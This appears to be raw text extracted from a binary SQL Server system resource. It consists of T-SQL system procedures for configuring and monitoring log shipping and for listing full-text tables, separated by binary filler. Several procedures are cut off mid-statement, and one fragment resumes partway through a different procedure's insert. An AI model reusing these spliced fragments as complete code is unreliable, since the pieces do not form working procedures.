    commit tran
    --
    -- Add a monitor metadata 
    --
    exec @retcode = sp_MSprocesslogshippingmonitorprimary @mode = 3
                ,@primary_id = @primary_id
                ,@primary_server = @@servername
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = @monitor_server_security_mode
                ,@backup_threshold = @backup_threshold
                ,@threshold_alert = @threshold_alert
                ,@threshold_alert_enabled = @threshold_alert_enabled
                ,@history_retention_period = @history_retention_period
                ,@ignoreremotemonitor = @ignoreremotemonitor
    if (@retcode != 0 or @@error != 0)
        return 1    
    --
    -- all done
    --
    return 0

UNDO:
    rollback tran sp_change_ls_pd
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<d	tc0 
8create procedure sys.sp_help_fulltext_tables
	@fulltext_catalog_name		sysname = NULL, 		-- full-text catalog name
	@table_name nvarchar(517) = NULL	-- table name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

    -- get current db name
	declare @curdbname sysname
	select @curdbname = db_name()

	-- CATALOG MUST EXIST IF SPECIFIED --
	declare @ftcatid smallint
	if @fulltext_catalog_name is not null
	begin
		select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @fulltext_catalog_name
		if @ftcatid is null
		begin
			declare @curdbnamelen int
			select @curdbnamelen = LEN(@curdbname)
			raiserror(7641,-1,-1,@fulltext_catalog_name, @curdbnamelen, @curdbname)
			return 1
		end
	end

	if @table_name is not null
	begin
		-- VALIDATE TABLE NAME --
		--	(1) Must exist in current database
		declare @objid int
		select @objid = object_id(@table_name, 'local')
		if @objid is null
		begin
			raiserror(15009,-1,-1 ,@table_name, @curdbname)
			return 1
		end
		--	(2) Must be a user table or indexed view (and not a temp table)
		if (ObjectProperty(@objid, 'IsUserTable') = 0 AND (ObjectProperty(@objid, 'IsView') = 0 OR ObjectProperty(@objid, 'IsIndexed') = 0 )) OR 
		    substring(parsename(@table_name,1),1,1) = '#'
		begin
			raiserror(15218,-1,-1 ,@table_name)
			return 1
		end
	end

	-- We are using schema owner as table owner now. Check with garish for their decision on using schema owner 
	-- in place of table owner for backward compatibility issue. 
	select  ssche.name as TABLE_OWNER,
		sobj.name as TABLE_NAME,
		sidx.name as FULLTEXT_KEY_INDEX_NAME,
		sidxcol.column_id as FULLTEXT_KEY_COLID,
		sftidx.is_enabled as FULLTEXT_INDEX_ACTIVE,
		scat.name as FULLTEXT_CATALOG_NAME
	from    sys.objects as sobj WITH(NOLOCK) -- the nolock is to not block while crawl or master merge is creating fragments
		join sys.fulltext_indexes as sftidx on (sobj.object_id = sftidx.object_id)
		join sys.indexes as sidx on(sftidx.unique_index_id = sidx.index_id and sftidx.object_id = sidx.object_id)
		join sys.schemas as ssche on (sobj.schema_id = ssche.schema_id)
		join sys.index_columns as sidxcol on (sftidx.object_id = sidxcol.object_id and sftidx.unique_index_id = sidxcol.index_id)
		left outer join sys.fulltext_catalogs as scat on (scat.fulltext_catalog_id = sftidx.fulltext_catalog_id)
	where   (
			@fulltext_catalog_name is null or
			sftidx.fulltext_catalog_id = @ftcatid
		 ) and
		 (
			@table_name is null or
			sobj.object_id = @objid
		 )
		
	order by TABLE_OWNER, TABLE_NAME



	-- SUCCESS --
	return 0	-- sp_help_fulltext_tables
0$@ 8 
-- add it
create view sys.dm_pdw_node_status as
select
	pdw_node_id,
	process_id,
	process_name	collate database_default process_name,
	allocated_memory,
	available_memory,
	process_cpu_usage,
	total_cpu_usage,
	thread_count,
	handle_count,
	total_elapsed_time,
	is_available,
	sent_time,
	received_time,
	error_id	collate database_default error_id
from sys._dm_pdw_node_status
0@ o8create procedure sys.sp_help_log_shipping_primary_database 
(
    @database sysname = NULL
    ,@primary_id uniqueidentifier = NULL
)
as
begin
    set nocount on
    declare @retcode int

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- validate input
    --
    if (@database is null and @primary_id is null)
    begin
        raiserror(14524, 16, 1, N'@database', N'@primary_id')
        return 1
    end
    --
    -- return resultset
    --
    select  
        pd.primary_id
        ,pd.primary_database
        ,pd.backup_directory
        ,pd.backup_share
        ,pd.backup_retention_period
        ,pd.backup_compression --note: sqllogship.exe is sensitive to the ordering of these results
        ,pd.backup_job_id
        ,'monitor_server' = case when (pd.user_specified_monitor = 1) then pd.monitor_server else cast(NULL as sysname) end
        ,'monitor_server_security_mode' = case when (pd.user_specified_monitor = 1) then pd.monitor_server_security_mode else cast(NULL as bit) end
        ,mp.backup_threshold
        ,mp.threshold_alert
        ,mp.threshold_alert_enabled
        ,mp.last_backup_file
        ,mp.last_backup_date
        ,mp.last_backup_date_utc
        ,mp.history_retention_period
    from msdb.dbo.log_shipping_primary_databases as pd join msdb.dbo.log_shipping_monitor_primary as mp
        on pd.primary_id = mp.primary_id
    where (@database is not null and pd.primary_database = @database)
        or (@primary_id is not null and pd.primary_id = @primary_id)
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F`<(	c'ՕvEcreate procedure sys.sp_add_log_shipping_primary_database 
(
    @database sysname   -- cannot be NULL
    ,@backup_directory nvarchar(500) -- cannot be NULL
    ,@backup_share nvarchar(500) -- cannot be NULL
    ,@backup_job_name sysname = NULL
    ,@backup_retention_period int = 1440 -- in minutes 
    ,@monitor_server sysname = NULL 
    ,@monitor_server_security_mode bit = 1
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
    ,@backup_threshold int = 45 -- in minutes 
    ,@threshold_alert int = 14420
    ,@threshold_alert_enabled bit = 0
    ,@history_retention_period int = 1440  -- in minutes 
    ,@backup_job_id uniqueidentifier = NULL output
    ,@primary_id uniqueidentifier = NULL output
    ,@overwrite bit = 0
    ,@ignoreremotemonitor bit = 0
    ,@backup_compression tinyint = 2 --0 disabled, 1 enabled, 2 server default
)
as
begin
    set nocount on
    declare @retcode int
                ,@jobdescription nvarchar(512)
                ,@jobcommand nvarchar(3200)
                ,@toolpath nvarchar(260)
                ,@user_specified_monitor bit
                ,@curdate datetime
                ,@curutcdate datetime
                ,@fcreatedmonitorlink bit
                ,@faddeddata bit

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    
    --
    -- Check if the database specified exists
    --
    if not exists (select * from master.sys.databases where name = @database)
    begin
        raiserror(15010, 16, 1, @database)
        return 1
    end
    
    --
    -- cannot support SIMPLE recovery mode
    --
    if (DATABASEPROPERTYEX(@database, N'Recovery') = N'SIMPLE')
    begin
        raiserror(32015, 16, 1, @database)
        return 1
    end

    --
    -- Warn if the database is not online
    --
    if (DATABASEPROPERTYEX(@database, N'Status') != N'ONLINE')
    begin
        raiserror(32008, 10, 1, @database)
    end

    --
    -- Parameter Check: @backup_directory
    --
    if @backup_directory is null or @backup_directory=N''
    begin
        raiserror (32052, 16, -1, N'@backup_directory')
        return 1
    end

    --
    -- Parameter Check: @backup_share
    --
    if @backup_share is null or @backup_share=N''
    begin
        raiserror (32052, 16, -1, N'@backup_share')
        return 1
    end

    --
    -- Parameter Check: @backup_compression
    --
    if @backup_compression not in (0, 1, 2)
    begin
        raiserror(21055, 16, -1, '@backup_compression','sp_add_log_shipping_primary_database')
        return 1
    end
    
    --
    -- check if logshipping entry for this database already exists
    --
    select @primary_id = primary_id 
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @database
    if (@primary_id is not null)
    begin
        if (@overwrite = 0)
        begin
            raiserror(32009, 16, 1, @database)
            return 1
        end
        else
        begin
            --
            -- overwriting the entry
            -- cleanup any existing secondaries defined for this primary on primary
            --
            delete msdb.dbo.log_shipping_primary_secondaries
            where primary_id = @primary_id
            -- delete the primary now
            exec sp_delete_log_shipping_primary_database @database = @database
                                                            ,@ignoreremotemonitor = @ignoreremotemonitor
            select @primary_id = NULL
        end
    end
    --
    -- validate @threshold_alert
    --
    if (@threshold_alert is null)
        select @threshold_alert = 14420
    if (@threshold_alert != 14420)
    begin
        if not exists (select * 
            from master.dbo.sysmessages where error = @threshold_alert)
        begin
            raiserror(32028, 16, 1, @threshold_alert)
            return 1
        end
    end
    --
    -- Generate a primary ID  
    --
    select @primary_id = newid()
            ,@curdate = getdate()
            ,@curutcdate = getutcdate()
    --
    -- initialize moniter_server if not specified
    --
    select @user_specified_monitor = case when (@monitor_server is null) then 0 else 1 end
    select @monitor_server = case when (@monitor_server is null) 
                        then upper(@@servername) else upper(@monitor_server) end
    --
    -- Prepare monitor link if not local
    --
    if (@monitor_server != upper(@@servername))
    begin
        --
        -- create link for monitor server
        --
        exec @retcode = msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 1
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @monitor_server_security_mode
                                        ,@monitor_server_login = @monitor_server_login
                                        ,@monitor_server_password = @monitor_server_password
        if (@retcode != 0 or @@error != 0)
        begin
            raiserror(32054, 16, 2)
            return 1
        end
        select @fcreatedmonitorlink = 1
    end
    --
    -- Get the agent path
    --
    exec @retcode = sys.sp_MSgetlogshipagentpath @toolpath = @toolpath OUTPUT
    if @retcode != 0
    begin
            raiserror(32018, 16, 2)
            return 1
    end
    --
    -- Prepare backup job name if not specified
    --
    if (@backup_job_name is null or @backup_job_name = N'')
    begin
        select @backup_job_name = sys.fn_MSgetlogshippingjobname(NULL, @database, 0)
    end
    select @jobdescription = isnull(formatmessage(32001, @database), N'Message 32001')
              ,@jobcommand = N'"' + @toolpath + N'sqllogship.exe" -Backup ' + cast(@primary_id as nvarchar(40)) + N' -server ' + @@servername 
    --
    -- Create a backup job for the primary database 
    --
    exec @retcode = sys.sp_MSprocesslogshippingjob @type = 1
                                ,@mode = 1 
                                ,@jobid = @backup_job_id output
                                ,@job_name = @backup_job_name
                                ,@description = @jobdescription
                                ,@command = @jobcommand
                                ,@overwrite = @overwrite
    if (@retcode != 0 or @@error != 0 or @backup_job_id is null)
        goto UNDO    
    --
    -- Add an entry in the log_shipping_primary_databases
    --
    insert into msdb.dbo.log_shipping_primary_databases (
                primary_id
                ,primary_database
                ,backup_directory
                ,backup_share
                ,backup_retention_period
                ,backup_job_id
                ,monitor_server
                ,monitor_server_security_mode
                ,user_specified_monitor
                ,backup_compression)
    values (
                @primary_id
                ,@database
                ,@backup_directory
                ,@backup_share
                ,@backup_retention_period
                ,@backup_job_id
                ,@monitor_server
                ,@monitor_server_security_mode
                ,@user_specified_monitor
                ,@backup_compression)
    if (@@error != 0)
        goto UNDO
    select @faddeddata = 1
    --
    -- Add a monitor metadata 
    --
    exec @retcode = sp_MSprocesslogshippingmonitorprimary @mode = 1
                ,@primary_id = @primary_id
                ,@primary_server = @@servername
                ,@monitor_server = @monitor_server
                ,@monitor_server_security_mode = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	A({vUcreate procedure sys.sp_MSprocesslogshippingmonitorsecondary 
(
    @mode tinyint -- 1 = add, 2 = delete, 3 = update
    ,@secondary_server sysname
    ,@secondary_database sysname = NULL
    ,@secondary_id uniqueidentifier
    ,@primary_server sysname = NULL
    ,@monitor_server sysname
    ,@monitor_server_security_mode bit = 1
    ,@primary_database sysname = NULL
    ,@restore_threshold int = NULL 
    ,@threshold_alert int = NULL
    ,@threshold_alert_enabled bit = NULL
    ,@last_copied_file nvarchar(500) = NULL
    ,@last_copied_date datetime = NULL
    ,@last_copied_date_utc datetime = NULL
    ,@last_restored_file nvarchar(500) = NULL
    ,@last_restored_date datetime = NULL
    ,@last_restored_date_utc datetime = NULL
    ,@last_restored_latency int = NULL
    ,@history_retention_period int = NULL
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)

    --
    -- validate @mode
    --
    if (@mode not in (1,2,3))
        return 1
    --
    -- When adding - always delete first
    --
    if (@mode in (1,2))
    begin
        --
        -- clean up log_shipping_monitor_error_detail
        -- clean up log_shipping_monitor_history_detail
        --
        if (@secondary_database is null)
        begin
            select @linkcmd = N'delete msdb.dbo.log_shipping_monitor_error_detail '
            + N'where agent_id = N''' + cast(@secondary_id as nvarchar(50)) + N''' and agent_type in (1,2) '
            exec (@linkcmd)
            select @linkcmd = N'delete msdb.dbo.log_shipping_monitor_history_detail '
            + N'where agent_id = N''' + cast(@secondary_id as nvarchar(50)) + N''' and agent_type in (1,2) '
            exec (@linkcmd)
        end
        else
        begin
            delete msdb.dbo.log_shipping_monitor_error_detail
            where agent_id = @secondary_id and agent_type in (1,2) 
                and database_name = @secondary_database
            delete msdb.dbo.log_shipping_monitor_history_detail
            where agent_id = @secondary_id and agent_type in (1,2) 
                and database_name = @secondary_database
        end
        --
        -- remove entry from log_shipping_monitor_secondary
        --
        delete msdb.dbo.log_shipping_monitor_secondary
        where ((@secondary_id is not null 
                            and secondary_id = @secondary_id)
                    or (@primary_server is not null and @primary_database is not null and @secondary_server is not null
                            and primary_server = upper(@primary_server)
                            and primary_database = @primary_database
                            and secondary_server = upper(@secondary_server)))
            and (@secondary_database is null or secondary_database = @secondary_database)
        --
        -- drop alert job if needed
        --
        if (upper(@monitor_server) = upper(@@servername))
        begin
            exec sys.sp_delete_log_shipping_alert_job_internal
        end
        --
        -- specific processing for add
        --
        if (@mode = 1)
        begin
            --
            -- Add an entry in the log_shipping_monitor_secondary
            --
            insert into msdb.dbo.log_shipping_monitor_secondary (
                secondary_server
                ,secondary_database
                ,secondary_id
                ,primary_server 
                ,primary_database 
                ,restore_threshold 
                ,threshold_alert 
                ,threshold_alert_enabled 
                ,last_copied_file
                ,last_copied_date
                ,last_copied_date_utc
                ,last_restored_file
                ,last_restored_date
                ,last_restored_date_utc
                ,last_restored_latency
                ,history_retention_period)
            values (
                upper(@secondary_server)
                ,@secondary_database
                ,@secondary_id
                ,upper(@primary_server)
                ,@primary_database
                ,@restore_threshold
                ,@threshold_alert
                ,@threshold_alert_enabled
                ,@last_copied_file 
                ,@last_copied_date 
                ,@last_copied_date_utc 
                ,@last_restored_file 
                ,@last_restored_date 
                ,@last_restored_date_utc
                ,@last_restored_latency
                ,@history_retention_period)
            if (@@error != 0)
                return 1
            --
            -- add alert job if needed
            --
            if (upper(@monitor_server) = upper(@@servername))
            begin
                exec sys.sp_add_log_shipping_alert_job_internal
            end
        end
    end
    else if (@mode = 3)
    begin
        --
        -- update log_shipping_monitor_secondary
        --
        update msdb.dbo.log_shipping_monitor_secondary
        set restore_threshold = case when (@restore_threshold is null) then restore_threshold else @restore_threshold end
             ,threshold_alert = case when (@threshold_alert is null) then threshold_alert else @threshold_alert end
             ,threshold_alert_enabled = case when (@threshold_alert_enabled is null) then threshold_alert_enabled else @threshold_alert_enabled end
             ,last_copied_file = case when (@last_copied_file is null) then last_copied_file else @last_copied_file end
             ,last_copied_date = case when (@last_copied_date is null) then last_copied_date else @last_copied_date end
             ,last_copied_date_utc = case when (@last_copied_date_utc is null) then last_copied_date_utc else @last_copied_date_utc end
             ,last_restored_file = case when (@last_restored_file is null) then last_restored_file else @last_restored_file end
             ,last_restored_date = case when (@last_restored_date is null) then last_restored_date else @last_restored_date end
             ,last_restored_date_utc = case when (@last_restored_date_utc is null) then last_restored_date_utc else @last_restored_date_utc end
             ,last_restored_latency = case when (@last_restored_latency is null) then last_restored_latency else @last_restored_latency end
             ,history_retention_period = case when (@history_retention_period is null) then history_retention_period else @history_retention_period end
        where secondary_id = @secondary_id
            and (@secondary_database is null or secondary_database = @secondary_database)
        if (@@error != 0)
            return 1
    end
    --
    -- Do we have remote monitor
    --
    if (upper(@monitor_server) != upper(@secondary_server) 
            and upper(@monitor_server) != upper(@@servername)
            and @ignoreremotemonitor = 0)
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingmonitorsecondary
                    @mode = @mode
                    ,@secondary_server = @secondary_server
                    ,@secondary_database = @secondary_database
                    ,@secondary_id = @secondary_id
                    ,@primary_server = @primary_server
                    ,@monitor_server = @monitor_server
                    ,@primary_database = @primary_database
                    ,@restore_threshold = @restore_threshold
                    ,@threshold_alert = @threshold_alert
                    ,@threshold_alert_enabled = @threshold_alert_enabled
                    ,@last_copied_file = @last_copied_file
                    ,@last_copied_date = @last_copied_date
                    ,@last_copied_date_utc = @last_copied_date_utc
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	(
_AU                 ,@last_restored_file = @last_restored_file
                    ,@last_restored_date = @last_restored_date
                    ,@last_restored_date_utc = @last_restored_date_utc
                    ,@last_restored_latency = @last_restored_latency
                    ,@history_retention_period = @history_retention_period
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorsecondary'
            begin try
                exec @retcode = @linkcmd 
                    @mode = @mode
                    ,@secondary_server = @secondary_server
                    ,@secondary_database = @secondary_database
                    ,@secondary_id = @secondary_id
                    ,@primary_server = @primary_server
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@primary_database = @primary_database
                    ,@restore_threshold = @restore_threshold
                    ,@threshold_alert = @threshold_alert
                    ,@threshold_alert_enabled = @threshold_alert_enabled
                    ,@last_copied_file = @last_copied_file
                    ,@last_copied_date = @last_copied_date
                    ,@last_copied_date_utc = @last_copied_date_utc
                    ,@last_restored_file = @last_restored_file
                    ,@last_restored_date = @last_restored_date
                    ,@last_restored_date_utc = @last_restored_date_utc
                    ,@last_restored_latency = @last_restored_latency
                    ,@history_retention_period = @history_retention_period
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done
    --
    return 0
end
k/Ik/ry_server
                ,primary_database
                ,backup_source_directory
                ,backup_destination_directory
                ,file_retention_period
                ,copy_job_id
                ,restore_job_id
                ,monitor_server
                ,monitor_server_security_mode
                ,user_specified_monitor)
    values (
                @secondary_id
                ,upper(@primary_server)
                ,@primary_database
                ,@backup_source_directory
                ,@backup_destination_directory
                ,@file_retention_period
                ,@copy_job_id
                ,@restore_job_id
                ,@monitor_server
                ,@monitor_server_security_mode
                ,@user_specified_monitor)
    if (@@error != 0)
        goto UNDO
    --
    -- all done
    --
    return 0

UNDO:
    --
    -- delete copy job if needed
    --
    if (@copy_job_id is not null)
    begin
        exec sys.sp_MSprocesslogshippingjob @type = 2
                                    ,@mode = 2 
                                    ,@jobid = @copy_job_id
    end
    --
    -- delete restore job if needed
    --
    if (@restore_job_id is not null)
    begin
        exec sys.sp_MSprocesslogshippingjob @type = 3
                                    ,@mode = 2 
                                    ,@jobid = @restore_job_id
    end
    --
    -- drop monitor if needed
    --
    if (@fcreatedmonitorlink = 1)
    begin
        exec msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 2
                                        ,@monitor_server = @monitor_server
                                        ,@monitor_server_security_mode = @monitor_server_security_mode
    end
    --
    -- delete entry in log_shipping_secondary
    --
    delete msdb.dbo.log_shipping_secondary
    where secondary_id = @secondary_id
    --
    -- reset output vars
    --
    select @secondary_id = NULL
            ,@copy_job_id = NULL
            ,@restore_job_id = NULL
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	(U_vk/create procedure sys.sp_add_log_shipping_secondary_primary 
(
    @primary_server sysname -- cannot be NULL
    ,@primary_database sysname -- cannot be NULL
    ,@backup_source_directory nvarchar(500) -- cannot be NULL
    ,@backup_destination_directory nvarchar(500) -- cannot be NULL
    ,@copy_job_name sysname = NULL
    ,@restore_job_name sysname = NULL
    ,@file_retention_period int = 1440 -- in minutes 
    ,@monitor_server sysname = NULL 
    ,@monitor_server_security_mode bit = 1
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
    ,@copy_job_id uniqueidentifier = NULL output
    ,@restore_job_id uniqueidentifier = NULL output
    ,@secondary_id uniqueidentifier = NULL output
    ,@overwrite bit = 0
    ,@ignoreremotemonitor bit = 0
)
as
begin
    set nocount on
    declare @retcode int
                ,@secondary_database sysname
                ,@jobdescription nvarchar(512)
                ,@jobcommand nvarchar(3200)
                ,@user_specified_monitor bit
                ,@fcreatedmonitorlink bit
                ,@toolpath nvarchar(260)

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end

    --
    -- Parameter Check: @primary_server
    --
    if @primary_server is null or @primary_server=N''
    begin
        raiserror (32052, 16, -1, N'@primary_server')
        return 1
    end

    --
    -- Parameter Check: @primary_database
    --
    if @primary_database is null or @primary_database=N''
    begin
        raiserror (32052, 16, -1, N'@primary_database')
        return 1
    end

    --
    -- Parameter Check: @backup_source_directory
    --
    if @backup_source_directory is null or @backup_source_directory=N''
    begin
        raiserror (32052, 16, -1, N'@backup_source_directory')
        return 1
    end
    
    --
    -- Parameter Check: @backup_destination_directory
    --
    if @backup_destination_directory is null or @backup_destination_directory=N''
    begin
        raiserror (32052, 16, -1, N'@backup_destination_directory')
        return 1
    end
    
    --
    -- Check if the specified primary already exists 
    --
    select @secondary_id = secondary_id 
    from msdb.dbo.log_shipping_secondary
    where primary_server = upper(@primary_server)
        and primary_database = @primary_database
    if (@secondary_id is not null)
    begin
        if (@overwrite = 0)
        begin
            raiserror(32024, 16, 1, @primary_server, @primary_database)
            return 1
        end
        else
        begin
            -- doing an overwrite
            -- delete any existing secondary databases for the secondary id
            declare #hc cursor local fast_forward for
                select secondary_database
                from msdb.dbo.log_shipping_secondary_databases 
                where secondary_id = @secondary_id
            open #hc
            fetch #hc into @secondary_database
            while (@@fetch_status != -1)
            begin
                exec sys.sp_delete_log_shipping_secondary_database_internal 
                                            @secondary_database = @secondary_database
                                            ,@ignoreremotemonitor = @ignoreremotemonitor
                                            ,@overwrite = @overwrite
                fetch #hc into @secondary_database
            end
            close #hc
            deallocate #hc
            -- delete the secondary primary
            exec sys.sp_delete_log_shipping_secondary_primary 
                                    @primary_server = @primary_server
                                    ,@primary_database = @primary_database
            select @secondary_id = NULL
        end
    end
    --
    -- Get the agent path
    --
    exec @retcode = sys.sp_MSgetlogshipagentpath @toolpath = @toolpath OUTPUT
    if @retcode != 0
    begin
            raiserror(32018, 16, 3)
            return 1
    end
    --
    -- Generate a secondary ID  
    --
    select @secondary_id = newid()
    --
    -- initialize moniter_server if not specified
    --
    select @user_specified_monitor = case when (@monitor_server is null) then 0 else 1 end
    select @monitor_server = case when (@monitor_server is null) 
                        then upper(@@servername) else upper(@monitor_server) end
    --
    -- Prepare monitor link if not local
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        if not exists (select * from msdb.dbo.log_shipping_secondary
                            where monitor_server = @monitor_server
                                and secondary_id != @secondary_id)
        begin
            --
            -- create link for monitor server
            --
            exec @retcode = msdb.sys.sp_MSprocesslogshipmonitorlink @mode = 1
                                            ,@monitor_server = @monitor_server
                                            ,@monitor_server_security_mode = @monitor_server_security_mode
                                            ,@monitor_server_login = @monitor_server_login
                                            ,@monitor_server_password = @monitor_server_password
            if (@retcode != 0 or @@error != 0)
                return 1
            select @fcreatedmonitorlink = 1
        end
    end
    --
    -- Prepare copy job name if not specified
    --
    if (@copy_job_name is null or @copy_job_name = N'')
    begin
        select @copy_job_name = sys.fn_MSgetlogshippingjobname(@primary_server, @primary_database, 1)
    end
    select @jobdescription = isnull(formatmessage(32002, @primary_server, @primary_database), N'Message 32002')
              ,@jobcommand = N'"' + @toolpath + N'sqllogship.exe" -Copy ' + cast(@secondary_id as nvarchar(40)) + N' -server ' + @@servername 
    --
    -- Create a copy job for the secondary 
    --
    exec @retcode = sys.sp_MSprocesslogshippingjob @type = 2
                                ,@mode = 1 
                                ,@jobid = @copy_job_id output
                                ,@job_name = @copy_job_name
                                ,@description = @jobdescription
                                ,@command = @jobcommand
                                ,@overwrite = @overwrite
    if (@retcode != 0 or @@error != 0 or @copy_job_id is null)
        goto UNDO
    --
    -- Prepare restore job name if not specified
    --
    if (@restore_job_name is null or @restore_job_name = N'')
    begin
        select @restore_job_name = sys.fn_MSgetlogshippingjobname(@primary_server, @primary_database, 2)
    end
    select @jobdescription = isnull(formatmessage(32003, @primary_server, @primary_database), N'Message 32003')
